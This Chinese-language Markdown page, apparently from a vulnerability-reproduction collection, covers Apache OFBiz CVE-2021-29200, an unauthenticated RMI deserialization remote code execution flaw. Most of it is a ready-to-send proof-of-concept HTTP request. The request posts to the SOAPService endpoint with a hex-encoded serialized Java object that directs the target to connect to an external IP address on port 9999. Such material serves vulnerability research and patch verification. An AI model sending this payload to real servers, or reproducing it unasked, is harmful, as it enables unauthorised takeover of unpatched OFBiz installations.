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51 lines
1.5 KiB
Markdown
51 lines
1.5 KiB
Markdown
[Apache OFBiz RMI反序列化漏洞 CVE-2021-26295](Apache%20OFBiz%20RMI反序列化漏洞%20CVE-2021-26295.md)# Apache OFBiz RMI Bypass RCE CVE-2021-29200
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# 漏洞描述
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由于 Apache OFBiz 存在 Java RMI 反序列化漏洞，未经身份验证的用户可以执行 RCE 攻击，导致服务器被接管。
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参考链接：
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- https://mp.weixin.qq.com/s/vM0pXZ5mhusFBsj1xD-2zw
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- https://xz.aliyun.com/t/9556
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# 漏洞影响
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```
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Apache OFBiz < 17.12.07
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```
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# 漏洞复现
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poc：
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```
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POST /webtools/control/SOAPService HTTP/1.1
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Host: xxx
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User-Agent: python-requests/2.24.0
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Accept-Encoding: gzip, deflate
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Accept: */*
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Connection: close
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Content-Type: text/xml
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Content-Length: 877
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<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://ofbiz.apache.org/service/">
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<soapenv:Header/>
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<soapenv:Body>
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<ser>
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<map-Map>
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<map-Entry>
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<map-Key>
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<cus-obj>ACED0005737200326A617661782E6D616E6167656D656E742E72656D6F74652E726D692E524D49436F6E6E656374696F6E496D706C5F5374756200000000000000020200007872001A6A6176612E726D692E7365727665722E52656D6F746553747562ECC98BE1651A0200007872001C6A6176612E726D692E7365727665722E52656D6F74654F626A656374D361B4910C61331E03000078707738000A556E6963617374526566000F3130342E3135362E3233312E3135300000270FFFFFFFFFEF34D1DB00000000000000000000000000000078</cus-obj>
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</map-Key>
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<map-Value>
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<std-String/>
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</map-Value>
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</map-Entry>
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</map-Map>
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</ser>
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</soapenv:Body>
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</soapenv:Envelope>
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```
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